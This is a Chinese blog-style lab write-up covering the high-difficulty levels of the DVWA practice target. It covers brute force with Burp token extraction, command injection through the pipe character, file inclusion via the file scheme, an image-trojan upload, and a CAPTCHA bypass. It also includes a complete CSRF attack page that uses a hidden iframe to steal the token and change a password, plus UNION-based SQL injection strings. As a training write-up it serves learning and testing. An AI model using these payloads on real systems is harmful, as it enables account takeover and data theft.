dvwa靶场

目录

brute force(high)暴力破解

command injection(high)

file inclusion(high)

 file upload(high)

 insecure CAPTCHA(high)

 SQL injection(high)


brute force(high)暴力破解

使用了随机token机制来防止CSRF【跨站请求伪造】

Token是服务端生成的一串字符串,当客户端第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。

抓包发现验证了三个参数:用户名、密码、token

 在bp里面爆破,选择pichfork模式

recursive_Grep:表示将服务器每次返回的数据来替换payload中的变量值,这里用来每次替换user_token的值

 选中服务器返回的token,表示每次从响应中获取该值

grep_extract:意思是用于提取响应消息中的有用信息

 在recursive_Grep模式下只能用单线程,最后再把option里面的redirections设置为always

 点击爆破

 很明显,密码就是password,token就是value

command injection(high)

命令连接符:&   &&  ||    |

 |[管道符]:将前者处理的结果作为参数传给后者,并且只打印后者执行的结果

替换字符串时替换的是“| ”有空格,所以单独的|管道符可以出现在IP中:即command1|command2

CSRF(high)

写一个如下攻击脚本,后缀为html,打开后后,在靶场里面点击提交,就会回显password changed,表明密码已经改了

脚本作用:当受害者点进这个页面,脚本会通过一个隐藏框架偷偷访问修改密码的页面,获取页面完整的token,向服务器发送改密请求,完成csrf攻击

<script type="text/javascript">

    function attack()

  {

   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

  document.getElementById("transfer").submit(); 

  }

</script>



<iframe src="http://dvwa-master/vulnerabilities/csrf/" id="hack" border="0" style="display:none;">

</iframe>



<body onload="attack()">

  <form method="GET" id="transfer" action="http://dvwa-master/vulnerabilities/csrf/">

   <input type="hidden" name="password_new" value="password">

    <input type="hidden" name="password_conf" value="password">

   <input type="hidden" name="user_token" value="">

  <input type="hidden" name="Change" value="Change">

   </form>

</body>

 

file inclusion(high)

文件包含的利用:利用相对路径或者绝对路径来读取文件

fnmatch():匹配函数,可匹配文件名或者路径名

 !fnmatch( "file*", $file ) && $file != "include.php":要求传进去的参数必须必须以filexxxxx开头,才能通过验证去包含相应文件,file协议可以访问本地文件,就构造url访问本地文件


File Inclusion Source
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>


 

再尝试用绝对路径读取文件,报错上面就有绝对路径

 

 file upload(high):

getimagesize():将测定任何GIF、jpg、png…………的图像文件的大小,并返回图像的尺寸以及文件类型和一个可用于普通html文件中IMG标记中的height/width文本字符串,如果不能访问filename指定的图像或者其不是有效图像,getimagesize()将返回false,故getimagesize()主要是用于判断上传文件是不是有效的图片

 制作木马图片绕过

图片木马原理:图片木马以文件上传漏洞为基本条件,将可执行的脚本写入到图片中去,再利用文件包含漏洞来执行图片中的一句话木马,从而获取目标服务器权限。

 

 insecure CAPTCHA(high)

 if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"

与中级最大的区别:看$resp【这里指谷歌返回的验证结果】不正确且参数recaptcha_response_field的值是否是hidd3n_valu3和http包头的user agent[HTTP_USER_AGEN]是否等于reCAPTCHA,若相等,则验证通过,$resp我们无法控制故要修改两个参数的值使其匹配,抓包

 

 SQL injection(high)

比中级多了一个limit 1,限制只能输出一条,可以用#注释掉

 判断注入类型:很明显是字符型注入

 获取字段数:order by数字#             字段数是2

获取版本和数据库库名   库名:database

 获取数据库中的表名:1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

查列名:1’ union select1,group_concat(column_name)from information_schema.columns where table_name='users'#

获取表中信息

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值